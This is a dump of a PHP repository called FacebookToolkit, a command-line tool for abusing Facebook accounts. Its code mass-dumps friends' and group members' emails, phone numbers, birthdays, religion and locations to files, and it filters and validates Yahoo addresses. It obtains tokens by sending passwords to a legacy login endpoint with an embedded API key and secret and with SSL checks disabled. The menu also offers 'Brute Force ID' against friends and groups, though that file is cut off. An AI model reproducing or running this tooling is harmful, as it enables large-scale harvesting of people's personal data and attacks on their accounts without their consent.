78 | "prefix" => "u",
79 | "longPrefix" => "update",
80 | "description" => "update version",
81 | "noValue" => true,
82 | ], "help" => [
83 | "prefix" => "h",
84 | "longPrefix" => "help",
85 | "description" => "help",
86 | "noValue" => true,
87 | ],
88 | ]
89 | );
90 | $climate->arguments->parse();
91 |
92 | if ($climate->arguments->defined("menu")) {
93 | $climate->br()->info("please wait, load the list menu");
94 | sleep(7);
95 | progress($progress);
96 | $climate->bold()->backgroundRed()->Table($data_menu);
97 | exit;
98 | } else if ($climate->arguments->defined("version")) {
99 | echo $version;
100 | exit;
101 | } else if ($climate->arguments->defined("author")) {
102 | echo $author;
103 | exit;
104 | } else if ($climate->arguments->defined("update")) {
105 | system("git fetch --all");
106 | system("git reset --hard origin/master");
107 | system("git pull origin master");
108 | exit;
109 | } else if ($climate->arguments->defined("help")) {
110 | $climate->usage();
111 | exit;
112 | } else {
113 | }
114 |
115 | $climate->br()->info("Oops, additional programs are needed to run this tool.");
116 | sleep(5);
117 | $climate->br()->info("Start a check for needs..");
118 | progress($progress);
119 | if (!fsockopen("$cek_connection", 80)) {
120 | die("" . $climate->br()->backgroundRed()->out("Could not open the server, connection issues?"));
121 | }
122 | if (phpversion() < "7.0.0") {
123 | die("" . $climate->br()->backgroundRed()->out("Your PHP Version is " . phpversion() . ", this PHP Version no support, please update to PHP Version 7."));
124 | }
125 | if (!function_exists("curl_init")) {
126 | die("" . $climate->br()->backgroundRed()->out("cURL not found! please install cURL"));
127 | }
128 |
129 | $climate->br()->backgroundGreen()->out("Congratulations, the requirements for the program have been fulfilled.");
130 |
131 | sleep(5);
132 | print $banner;
133 | sleep(3);
134 | $climate->table($data_socialmedia);
135 | sleep(3);
136 |
137 | /**
138 | * Token Validation Function
139 | */
140 |
141 | function tokenvalidation($url_based, $token)
142 | {
143 | include_once 'vendor/autoload.php';
144 | $climate = new League\CLImate\CLImate;
145 |
146 | $curl = curl_init();
147 | curl_setopt($curl, CURLOPT_URL, $url_based . "/me/?access_token=" . $token);
148 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
149 | $wahyuarifpurnomo = curl_exec($curl);
150 | curl_close($curl);
151 |
152 | $decode = json_decode($wahyuarifpurnomo);
153 |
154 | if ($decode->error->message === "Malformed access token") {
155 | $climate->br()->backgroundRed()->out('Sorry, ' . $decode->error->message . ', please correct it!');
156 | $type = "tools/getAccessToken/getAccessToken";
157 | include_once $type . ".php";
158 | exit;
159 | } else if ($decode->error->message == 'The access token could not be decrypted') {
160 | $climate->br()->backgroundRed()->out('Sorry, ' . $decode->error->message . ', please correct it!');
161 | $type = "tools/getAccessToken/getAccessToken";
162 | include_once $type . ".php";
163 | exit;
164 | } else if ($decode->error->message == 'Error validating access token: The session has been invalidated because the user changed their password or Facebook has changed the session for security reasons.') {
165 | $climate->br()->backgroundRed()->out('Sorry, ' . $decode->error->message . ', please correct it!');
166 | $type = "tools/getAccessToken/getAccessToken";
167 | include_once $type . ".php";
168 | exit;
169 | } else if ($decode->error->message == 'An active access token must be used to query information about the current user') {
170 | $climate->br()->backgroundRed()->out('Sorry, ' . $decode->error->message . ', please correct it!');
171 | $type = "tools/getAccessToken/getAccessToken";
172 | include_once $type . ".php";
173 | exit;
174 | } else {
175 | $climate->br()->backgroundGreen()->out('Hooray, the token was successfully verified!');
176 | sleep(3);
177 | $climate->br()->info('Hello, welcome ' . $decode->name);
178 | sleep(7);
179 | }
180 | /**
181 | * End check token
182 | */
183 |
184 | /**
185 | * Story
186 | */
187 | $input = $climate->shout()->confirm('I have a story for you, do you want to hear it??');
188 | $location = $decode->location->name;
189 | $education = $decode->education[0]->school->name;
190 | if ($input->confirmed()) {
191 | $climate->br()->info('Based on the data I have about you, your name must be ' . $decode->name . ', you were born on ' . $decode->birthday . ', you are sex ' . $decode->gender . ', I know, you must live in ' . $location . ', hmmm.. i know, you`re ' . $decode->relationship_status . ', and you are still in school at ' . $education);
192 | sleep(3);
193 | $warifp = $climate->br()->shout()->input('Yes? [enter to continue]');
194 | $response = $warifp->prompt();
195 | } else {
196 | }
197 | }
198 | /**
199 | * End Token Validation Function
200 | */
201 |
--------------------------------------------------------------------------------
/modules/menu.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $data_menu = [
15 | [
16 | 'no' => '1',
17 | 'name' => 'Get Access Token',
18 | 'information' => 'get access token your facebook account',
19 | 'Status' => 'Active',
20 | ],
21 | [
22 | 'no' => '2',
23 | 'name' => 'Account Information',
24 | 'information' => 'view your account information',
25 | 'Status' => 'Active',
26 | ],
27 | [
28 | 'no' => '3',
29 | 'name' => 'Dump ID',
30 | 'information' => "retrieve all your friend's ID data",
31 | 'Status' => 'Active',
32 | ],
33 | [
34 | 'no' => '4',
35 | 'name' => 'Dump Email',
36 | 'information' => "retrieve all your friend's email data",
37 | 'Status' => 'Active',
38 | ],
39 | [
40 | 'no' => '5',
41 | 'name' => 'Dump Name',
42 | 'information' => "retrieve all your friend's name data",
43 | 'Status' => 'Active',
44 | ],
45 | [
46 | 'no' => '6',
47 | 'name' => 'Dump Birthday',
48 | 'information' => "retrieve all your friend's birthday data",
49 | 'Status' => 'Active',
50 | ],
51 | [
52 | 'no' => '7',
53 | 'name' => 'Dump Gender',
54 | 'information' => "retrieve all your friend's gender data",
55 | 'Status' => 'Active',
56 | ],
57 | [
58 | 'no' => '8',
59 | 'name' => 'Dump Location',
60 | 'information' => "retrieve all your friend's location data",
61 | 'Status' => 'Active',
62 | ],
63 | [
64 | 'no' => '9',
65 | 'name' => 'Dump URL Profile',
66 | 'information' => "retrieve all your friend's url profile data",
67 | 'Status' => 'Active',
68 | ],
69 | [
70 | 'no' => '10',
71 | 'name' => 'Dump Mobile Number',
72 | 'information' => "retrieve all your friend's mobile number data",
73 | 'Status' => 'Active',
74 | ],
75 | [
76 | 'no' => '11',
77 | 'name' => 'Dump Religion',
78 | 'information' => "retrieve all your friend's religion data",
79 | 'Status' => 'Active',
80 | ],
81 | [
82 | 'no' => '12',
83 | 'name' => 'Dump Relationship',
84 | 'information' => "retrieve all your friend's relationship data",
85 | 'Status' => 'Active',
86 | ],
87 | [
88 | 'no' => '13',
89 | 'name' => 'Dump Username',
90 | 'information' => "retrieve all your friend's username data",
91 | 'Status' => 'Active',
92 | ],
93 | [
94 | 'no' => '14',
95 | 'name' => 'Dump Bio',
96 | 'information' => "retrieve all your friend's bio data",
97 | 'Status' => 'Active',
98 | ],
99 | [
100 | 'no' => '15',
101 | 'name' => 'Dump About',
102 | 'information' => "retrieve all your friend's about data",
103 | 'Status' => 'Active',
104 | ],
105 | [
106 | 'no' => '16',
107 | 'name' => 'Filter Yahoo Mail',
108 | 'information' => "separate all Yahoo e-mails [yahoo.com]",
109 | 'Status' => 'Active',
110 | ],
111 | [
112 | 'no' => '17',
113 | 'name' => 'Yahoo Mail Validation',
114 | 'information' => "validate all Yahoo e-mails",
115 | 'Status' => 'Active',
116 | ],
117 | [
118 | 'no' => '18',
119 | 'name' => 'Clean Result',
120 | 'information' => "clean the result folder",
121 | 'Status' => 'Active',
122 | ],
123 | [
124 | 'no' => '19',
125 | 'name' => 'Delete ALL Post',
126 | 'information' => "clean all your posts",
127 | 'Status' => 'Active',
128 | ],
129 | [
130 | 'no' => '20',
131 | 'name' => 'Unfriend ALL',
132 | 'information' => "clean all your friends",
133 | 'Status' => 'Active',
134 | ],
135 | [
136 | 'no' => '21',
137 | 'name' => 'Confirmation ALL',
138 | 'information' => "confirm all friend requests",
139 | 'Status' => 'Active',
140 | ],
141 | [
142 | 'no' => '22',
143 | 'name' => 'Confirmation ALL [Male]',
144 | 'information' => "confirm all friend requests based on male sex",
145 | 'Status' => 'Active',
146 | ],
147 | [
148 | 'no' => '23',
149 | 'name' => 'Confirmation ALL [Female]',
150 | 'information' => "confirm all friend requests based on female sex",
151 | 'Status' => 'Active',
152 | ],
153 | [
154 | 'no' => '24',
155 | 'name' => 'View Data',
156 | 'information' => "see your friends data based on your username or ID",
157 | 'Status' => 'Active',
158 | ],
159 | [
160 | 'no' => '25',
161 | 'name' => 'Dump ID Member Group',
162 | 'information' => "retrieve all ID member on group database",
163 | 'Status' => 'Active',
164 | ],
165 | [
166 | 'no' => '26',
167 | 'name' => 'Dump Username Profile Member Group',
168 | 'information' => "retrieve all username member on group database",
169 | 'Status' => 'Active',
170 | ],
171 | [
172 | 'no' => '27',
173 | 'name' => 'Dump URL Profile Member Group',
174 | 'information' => "retrieve all url profile member on group database",
175 | 'Status' => 'Active',
176 | ],
177 | [
178 | 'no' => '28',
179 | 'name' => 'Brute Force ID',
180 | 'information' => "brute force your friends by ID",
181 | 'Status' => 'Active',
182 | ],
183 | [
184 | 'no' => '29',
185 | 'name' => 'Brute Force ID Member Group',
186 | 'information' => "brute force Member Group by ID",
187 | 'Status' => 'Active',
188 | ],
189 | ];
--------------------------------------------------------------------------------
/modules/progress.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $progress = $climate->progress()->total(100);
15 |
16 | function progress($progress)
17 | {
18 | for ($i = 0; $i <= 100; $i++) {
19 | $progress->current($i);
20 | usleep(30000);
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/modules/random.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $n = 1;
15 | function getName($n)
16 | {
17 | $characters = '123456789';
18 | $randomString = '';
19 |
20 | for ($i = 0; $i < $n; $i++) {
21 | $index = rand(0, strlen($characters) - 1);
22 | $randomString .= $characters[$index];
23 | }
24 |
25 | return $randomString;
26 | }
27 |
--------------------------------------------------------------------------------
/result/filter/result_email.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warifp/FacebookToolkit/9a7ae1219c1287691bf45cc4db2acb265997dcd6/result/filter/result_email.txt
--------------------------------------------------------------------------------
/result/result_id.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warifp/FacebookToolkit/9a7ae1219c1287691bf45cc4db2acb265997dcd6/result/result_id.txt
--------------------------------------------------------------------------------
/result/validation/yahoo.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warifp/FacebookToolkit/9a7ae1219c1287691bf45cc4db2acb265997dcd6/result/validation/yahoo.txt
--------------------------------------------------------------------------------
/run.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | /**
17 | * Library
18 | */
19 |
20 | require_once 'vendor/autoload.php';
21 | require_once 'modules/color.php';
22 | require_once 'modules/random.php';
23 |
24 | $climate = new League\CLImate\CLImate;
25 |
26 | require_once 'modules/progress.php';
27 | require_once 'modules/menu.php';
28 | require_once 'modules/config.php';
29 |
30 | /**
31 | * End Library
32 | */
33 | sleep(3);
34 |
35 | /**
36 | * Check token
37 | */
38 | $climate->br()->info('Wait a minute, is check and validating access to Facebook tokens..');
39 | $climate->br();
40 | sleep(5);
41 | progress($progress);
42 |
43 | if ($token === "") {
44 | $climate->br()->backgroundRed()->out('Oops, Facebook access token is not detected');
45 | $type = "tools/getAccessToken/getAccessToken";
46 | include_once $type . ".php";
47 | exit;
48 | } else {
49 | $climate->br()->backgroundBlue()->out('Well, access to Facebook tokens was detected');
50 | sleep(3);
51 | }
52 |
53 | /**
54 | * Token validation and story
55 | */
56 | tokenvalidation($url_based, $token);
57 | /**
58 | * End Token validation and story
59 | */
60 |
61 | /**
62 | * Arguments Usage
63 | */
64 | echo "\n";
65 | $climate->usage();
66 | /**
67 | * End Arguments Usage
68 | */
69 |
70 | /**
71 | * Select
72 | */
73 | $input_pilih = $climate->br()->shout()->input('> Enter your choice (1-29) : ');
74 |
75 | $pilih = $input_pilih->prompt();
76 | /**
77 | * End Select
78 | */
79 |
80 | if ($pilih > 29 or $pilih < 1) {
81 | $climate->br()->error('Options not available, please choose existing ones!');
82 |
83 | /**
84 | * Enter Select return
85 | */
86 | $input_pilih = $climate->br()->shout()->input('> Enter your choice (1-29) : ');
87 |
88 | $pilih = $input_pilih->prompt();
89 | /**
90 | * End Select return
91 | */
92 |
93 | if ($pilih > 29 or $pilih < 1) {
94 | $type = "wahyuarifpurnomo";
95 | }
96 | }
97 | if ($pilih == 1) {
98 | $type = "tools/getAccessToken/getAccessToken";
99 | $namatools = "\e[1;32mget Token\e[0m";
100 | } elseif ($pilih == 2) {
101 | $type = "tools/getInformation/getInformation";
102 | $namatools = "\e[1;32maccount information\e[0m";
103 | } elseif ($pilih == 3) {
104 | $type = "tools/getID/getID";
105 | $namatools = "\e[1;32mdump ID your friends\e[0m";
106 | } elseif ($pilih == 4) {
107 | $type = "tools/getEmail/getEmail";
108 | $namatools = "\e[1;32mdump email your friends\e[0m";
109 | } elseif ($pilih == 5) {
110 | $type = "tools/getName/getName";
111 | $namatools = "\e[1;32mdump name your friends\e[0m";
112 | } elseif ($pilih == 6) {
113 | $type = "tools/getBirthday/getBirthday";
114 | $namatools = "\e[1;32mdump birthday your friends\e[0m";
115 | } elseif ($pilih == 7) {
116 | $type = "tools/getGender/getGender";
117 | $namatools = "\e[1;32mdump gender your friends\e[0m";
118 | } elseif ($pilih == 8) {
119 | $type = "tools/getLocation/getLocation";
120 | $namatools = "\e[1;32mdump location your friends\e[0m";
121 | } elseif ($pilih == 9) {
122 | $type = "tools/getLink/getLink";
123 | $namatools = "\e[1;32mdump url profile your friends\e[0m";
124 | } elseif ($pilih == 10) {
125 | $type = "tools/getPhone/getPhone";
126 | $namatools = "\e[1;32mdump mobile number your friends\e[0m";
127 | } elseif ($pilih == 11) {
128 | $type = "tools/getReligion/getReligion";
129 | $namatools = "\e[1;32mdump religion your friends\e[0m";
130 | } elseif ($pilih == 12) {
131 | $type = "tools/getRelationship/getRelationship";
132 | $namatools = "\e[1;32mdump relationship your friends\e[0m";
133 | } elseif ($pilih == 13) {
134 | $type = "tools/getUsername/getUsername";
135 | $namatools = "\e[1;32mdump username your friends\e[0m";
136 | } elseif ($pilih == 14) {
137 | $type = "tools/getBio/getBio";
138 | $namatools = "\e[1;32mdump bio your friends\e[0m";
139 | } elseif ($pilih == 15) {
140 | $type = "tools/getAbout/getAbout";
141 | $namatools = "\e[1;32mdump about your friends\e[0m";
142 | } elseif ($pilih == 16) {
143 | $type = "tools/getYahooFilter/getYahooFilter";
144 | $namatools = "\e[1;32mfilter email your friends\e[0m";
145 | } elseif ($pilih == 17) {
146 | $type = "tools/getYahooMailValidation/getYahooMailValidation";
147 | $namatools = "\e[1;32mvalidation email your friends\e[0m";
148 | } elseif ($pilih == 18) {
149 | $type = "tools/clean/clean";
150 | $namatools = "\e[1;32mclean folder result\e[0m";
151 | } elseif ($pilih == 19) {
152 | $type = "tools/getDeletePost/getDeletePost";
153 | $namatools = "\e[1;32mdelete your all post\e[0m";
154 | } elseif ($pilih == 20) {
155 | $type = "tools/getUnfriend/getUnfriend";
156 | $namatools = "\e[1;32munfriend all\e[0m";
157 | } elseif ($pilih == 21) {
158 | $type = "tools/getConfirmationFriends/getConfirmationFriends";
159 | $namatools = "\e[1;32mconfirmation all friends\e[0m";
160 | } elseif ($pilih == 22) {
161 | $type = "tools/getConfirmationFriendsMale/getConfirmationFriendsMale";
162 | $namatools = "\e[1;32mconfirmation your all male friends\e[0m";
163 | } elseif ($pilih == 23) {
164 | $type = "tools/getConfirmationFriendsFemale/getConfirmationFriendsFemale";
165 | $namatools = "\e[1;32mconfirmation your all male friends\e[0m";
166 | } elseif ($pilih == 24) {
167 | $type = "tools/getDataFriends/getDataFriends";
168 | $namatools = "\e[1;32mview all data your friends\e[0m";
169 | } elseif ($pilih == 25) {
170 | $type = "tools/getIDMemberGroup/getIDMemberGroup";
171 | $namatools = "\e[1;32mview all data ID member group\e[0m";
172 | } elseif ($pilih == 26) {
173 | $type = "tools/getUsernameMemberGroup/getUsernameMemberGroup";
174 | $namatools = "\e[1;32mview all data username member group\e[0m";
175 | } elseif ($pilih == 27) {
176 | $type = "tools/getLinkMemberGroup/getLinkMemberGroup";
177 | $namatools = "\e[1;32mview all data link member group\e[0m";
178 | } elseif ($pilih == 28) {
179 | $type = "tools/getBruteID/getBruteID";
180 | $namatools = "\e[1;32mbrute force your friends by ID\e[0m";
181 | } elseif ($pilih == 29) {
182 | $type = "tools/getBruteIDMemberGroup/getBruteIDMemberGroup";
183 | $namatools = "\e[1;32mbrute force Member Group by ID\e[0m";
184 | }
185 | if ($type == "wahyuarifpurnomo") {
186 | $climate->br()->error("You don't choose anywhere tools.");
187 | } else {
188 | $climate->br()->info('You have selected tools ' . $namatools);
189 | $climate->br()->info('load the tool you requested');
190 | $climate->br();
191 | progress($progress);
192 |
193 | include_once $type . ".php";
194 | }
195 |
--------------------------------------------------------------------------------
/tmp/id.log:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warifp/FacebookToolkit/9a7ae1219c1287691bf45cc4db2acb265997dcd6/tmp/id.log
--------------------------------------------------------------------------------
/tools/clean/clean.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | //The name of the folder.
15 | $folder = 'result';
16 |
17 | //Get a list of all of the file names in the folder.
18 | $files = glob($folder . '/*');
19 |
20 | //Loop through the file list.
21 | foreach ($files as $file) {
22 |
23 | if (is_file($file)) {
24 | //Use the unlink function to delete the file.
25 | unlink($file);
26 | }
27 | }
28 |
29 | echo "\n";
30 | $climate->info('Start cleaning folder "' . $folder . '"');
31 | sleep(3);
32 | echo "\n";
33 | $climate->info('Cleaning "' . $folder . '"');
34 | progress($progress);
35 | echo "\n";
36 | $climate->info('Done cleaning "' . $folder . '"');
37 |
--------------------------------------------------------------------------------
/tools/getAbout/getAbout.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $save_dir = "result/result_about.txt";
17 | $save_dir_name = "result/result_name-about.txt";
18 |
19 | $curl = curl_init();
20 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
21 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
22 | $wahyuarifpurnomo = curl_exec($curl);
23 | curl_close($curl);
24 |
25 | $decode = json_decode($wahyuarifpurnomo);
26 |
27 | $climate->br()->info('Required retrieve ID');
28 | sleep(3);
29 | $climate->br()->info('Starting retrieve ID..');
30 | echo "\n";
31 | progress($progress);
32 |
33 | $no = 0;
34 | foreach ($decode->data as $hasil) {
35 | $no++;
36 | $colorstring = getName($n);
37 | if (!empty($hasil->id)) {
38 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
39 | $save = fopen('tmp/id.log', 'a');
40 | fwrite($save, $hasil->id . "\n");
41 | fclose($save);
42 | }
43 | }
44 |
45 | $list = "tmp/id.log" or die("File ID not found!");
46 | $climate->br()->info('Retrieve ID success');
47 | sleep(3);
48 | $climate->br()->info('Starting retrieve about your friends..');
49 | echo "\n";
50 | progress($progress);
51 |
52 | $file = file_get_contents("$list");
53 | $data = explode("\n", str_replace("\r", "", $file));
54 | $x = 0;
55 | for ($a = 0; $a < count($data); $a++) {
56 | $id = $data[$a];
57 | $x++;
58 |
59 | $curl = curl_init();
60 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "?access_token=" . $token);
61 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
62 | $wahyuarifpurnomo = curl_exec($curl);
63 | curl_close($curl);
64 |
65 | $decode = json_decode($wahyuarifpurnomo);
66 | $colorstring = getName($n);
67 | echo $x . "." . $colors->getColoredString(" $decode->name | $decode->about", $warifp[$colorstring]) . "\n";
68 |
69 | $save = fopen($save_dir, 'a');
70 | $save_name = fopen($save_dir_name, 'a');
71 |
72 | fwrite($save, $decode->about . "\n");
73 | fwrite($save_name, $decode->name . "|" . $decode->about . "\n");
74 |
75 | fclose($save);
76 | fclose($save_name);
77 | }
78 |
79 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
80 | $climate->br()->info('Cleaning log..');
81 | echo "\n";
82 | progress($progress);
83 | $delete = "tmp/id.log";
84 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
85 | sleep(3);
86 | $climate->br()->info('Done cleaning log.');
87 |
--------------------------------------------------------------------------------
/tools/getAccessToken/getAccessToken.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | /* End Library */
15 | define('API_SECRET', '62f8ce9f74b12f84c123cc23437a4a32');
16 | define('BASE_URL', 'https://api.facebook.com/restserver.php');
17 | /**
18 | * End Library
19 | */
20 |
21 | $save_dir = "config/token.txt";
22 |
23 | $input_username = $climate->br()->info()->input('Username?');
24 | $username = $input_username->prompt();
25 |
26 | $input_password = $climate->br()->info()->input('Password?');
27 | $password = $input_password->prompt();
28 |
29 | sleep(3);
30 |
31 | $climate->br()->info('Starting get access token facebook..');
32 | echo "\n";
33 | progress($progress);
34 |
35 | function sign_creator(&$data)
36 | {
37 | $sig = "";
38 | foreach ($data as $key => $value) {
39 | $sig .= "$key=$value";
40 | }
41 | $sig .= API_SECRET;
42 | $sig = md5($sig);
43 | return $data['sig'] = $sig;
44 | }
45 | function cURL($method = 'GET', $url = false, $data)
46 | {
47 | $c = curl_init();
48 | $user_agents = array(
49 | "Mozilla/5.0 (Linux; Android 5.0.2; Andromax C46B2G Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/60.0.0.16.76;]",
50 | "[FBAN/FB4A;FBAV/35.0.0.48.273;FBDM/{density=1.33125,width=800,height=1205};FBLC/en_US;FBCR/;FBPN/com.facebook.katana;FBDV/Nexus 7;FBSV/4.1.1;FBBK/0;]",
51 | "Mozilla/5.0 (Linux; Android 5.1.1; SM-N9208 Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.81 Mobile Safari/537.36",
52 | "Mozilla/5.0 (Linux; U; Android 5.0; en-US; ASUS_Z008 Build/LRX21V) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/10.8.0.718 U3/0.8.0 Mobile Safari/534.30",
53 | "Mozilla/5.0 (Linux; U; Android 5.1; en-US; E5563 Build/29.1.B.0.101) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/10.10.0.796 U3/0.8.0 Mobile Safari/534.30",
54 | "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Celkon A406 Build/MocorDroid2.3.5) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
55 | );
56 | $useragent = $user_agents[array_rand($user_agents)];
57 | $opts = array(
58 | CURLOPT_URL => ($url ? $url : BASE_URL) . ($method == 'GET' ? '?' . http_build_query($data) : ''),
59 | CURLOPT_RETURNTRANSFER => true,
60 | CURLOPT_SSL_VERIFYPEER => false,
61 | CURLOPT_USERAGENT => $useragent
62 | );
63 | if ($method == 'POST') {
64 | $opts[CURLOPT_POST] = true;
65 | $opts[CURLOPT_POSTFIELDS] = $data;
66 | }
67 | curl_setopt_array($c, $opts);
68 | $d = curl_exec($c);
69 | curl_close($c);
70 | return $d;
71 | }
72 | $data = array(
73 | "api_key" => "882a8490361da98702bf97a021ddc14d",
74 | "credentials_type" => "password",
75 | "email" => $username,
76 | "format" => "JSON",
77 | "generate_machine_id" => "1",
78 | "generate_session_cookies" => "1",
79 | "locale" => "en_US",
80 | "method" => "auth.login",
81 | "password" => $password,
82 | "return_ssl_resources" => "0",
83 | "v" => "1.0"
84 | );
85 |
86 | sign_creator($data);
87 | $response = cURL('GET', false, $data);
88 | $decode = json_decode($response);
89 |
90 | $save_token = $decode->access_token;
91 |
92 | $save = fopen($save_dir, 'w');
93 | fwrite($save, $save_token);
94 |
95 | $climate->br()->info('Your token ' . $save_token);
96 | $climate->br()->shout('Done, your token saved in folder ' . $save_dir);
97 |
98 | /**
99 | * Reference : https://github.com/minhkhoa2000/Facebook-Api/
100 | */
101 |
--------------------------------------------------------------------------------
/tools/getBio/getBio.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | error_reporting(0);
15 |
16 | $save_dir = "result/result_bio.txt";
17 | $save_dir_name = "result/result_name-bio.txt";
18 |
19 | $curl = curl_init();
20 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,email&access_token=" . $token . "&limit=5000");
21 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
22 | $wahyuarifpurnomo = curl_exec($curl);
23 | curl_close($curl);
24 |
25 | $decode = json_decode($wahyuarifpurnomo);
26 |
27 | $climate->br()->info('Required retrieve ID');
28 | sleep(3);
29 | $climate->br()->info('Starting retrieve ID..');
30 | echo "\n";
31 | progress($progress);
32 |
33 | $no = 0;
34 | foreach ($decode->data as $hasil) {
35 | $no++;
36 | $colorstring = getName($n);
37 | if (!empty($hasil->id)) {
38 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->id", $warifp[$colorstring]) . "\n";
39 | $save = fopen('tmp/id.log', 'a');
40 | fwrite($save, $hasil->id . "\n");
41 | fclose($save);
42 | }
43 | }
44 |
45 | $list = "tmp/id.log" or die("File ID not found!");
46 | $climate->br()->info('Retrieve ID success');
47 | sleep(3);
48 | $climate->br()->info('Starting retrieve bio your friends..');
49 | echo "\n";
50 | progress($progress);
51 |
52 | $file = file_get_contents("$list");
53 | $data = explode("\n", str_replace("\r", "", $file));
54 | $x = 0;
55 | for ($a = 0; $a < count($data); $a++) {
56 | $id = $data[$a];
57 | $x++;
58 |
59 | $curl = curl_init();
60 | curl_setopt($curl, CURLOPT_URL, $url_based . "/" . $id . "?access_token=" . $token);
61 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
62 | $wahyuarifpurnomo = curl_exec($curl);
63 | curl_close($curl);
64 |
65 | $decode = json_decode($wahyuarifpurnomo);
66 | $colorstring = getName($n);
67 | echo $x . "." . $colors->getColoredString(" $decode->name | $decode->bio", $warifp[$colorstring]) . "\n";
68 |
69 | $save = fopen($save_dir, 'a');
70 | $save_name = fopen($save_dir_name, 'a');
71 |
72 | fwrite($save, $decode->bio . "\n");
73 | fwrite($save_name, $decode->name . "|" . $decode->bio . "\n");
74 |
75 | fclose($save);
76 | fclose($save_name);
77 | }
78 |
79 | $climate->br()->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
80 | $climate->br()->info('Cleaning log..');
81 | echo "\n";
82 | progress($progress);
83 | $delete = "tmp/id.log";
84 | unlink($delete) or die("\e[1;31mCouldn't delete file, file not found\e[0m");
85 | sleep(3);
86 | $climate->br()->info('Done cleaning log.');
87 |
--------------------------------------------------------------------------------
/tools/getBirthday/getBirthday.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
11 | * @since 15 June 2019
12 | */
13 |
14 | $save_dir = "result/result_birthday.txt";
15 | $save_dir_name = "result/result_name-birthday.txt";
16 |
17 | $curl = curl_init();
18 | curl_setopt($curl, CURLOPT_URL, $url_based . "/v3.2/me/friends/?fields=name,birthday&access_token=" . $token . "&limit=5000");
19 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
20 | $wahyuarifpurnomo = curl_exec($curl);
21 | curl_close($curl);
22 |
23 | $decode = json_decode($wahyuarifpurnomo);
24 | $total = $decode->summary->total_count;
25 | $climate->br()->info('Found ' . $total . ' Date of birth');
26 | sleep(5);
27 | $climate->br()->info('Starting retrieve date of birth your friends..');
28 | echo "\n";
29 | progress($progress);
30 | $no = 0;
31 | foreach ($decode->data as $hasil) {
32 | $no++;
33 | $colorstring = getName($n);
34 | if (!empty($hasil->birthday)) {
35 | echo $no . "." . $colors->getColoredString(" $hasil->name | $hasil->birthday", $warifp[$colorstring]) . "\n";
36 | $save = fopen($save_dir, 'a');
37 | fwrite($save, $hasil->birthday . "\n");
38 |
39 | $save_name = fopen($save_dir_name, 'a');
40 | fwrite($save_name, $hasil->name . "|" . $hasil->birthday . "\n");
41 |
42 | fclose($save);
43 | fclose($save_name);
44 | }
45 | }
46 |
47 | echo "\n";
48 | $climate->shout('Done, your result saved in folder "' . $save_dir . '" and "' . $save_dir_name . '".');
49 |
--------------------------------------------------------------------------------
/tools/getBruteID/getBruteID.php:
--------------------------------------------------------------------------------
1 |
7 | * @copyright 2019 WARIFP
8 | * @license MIT License
9 | * @version 1.7
10 | * @link https://github.com/warifp/FacebookToolkit
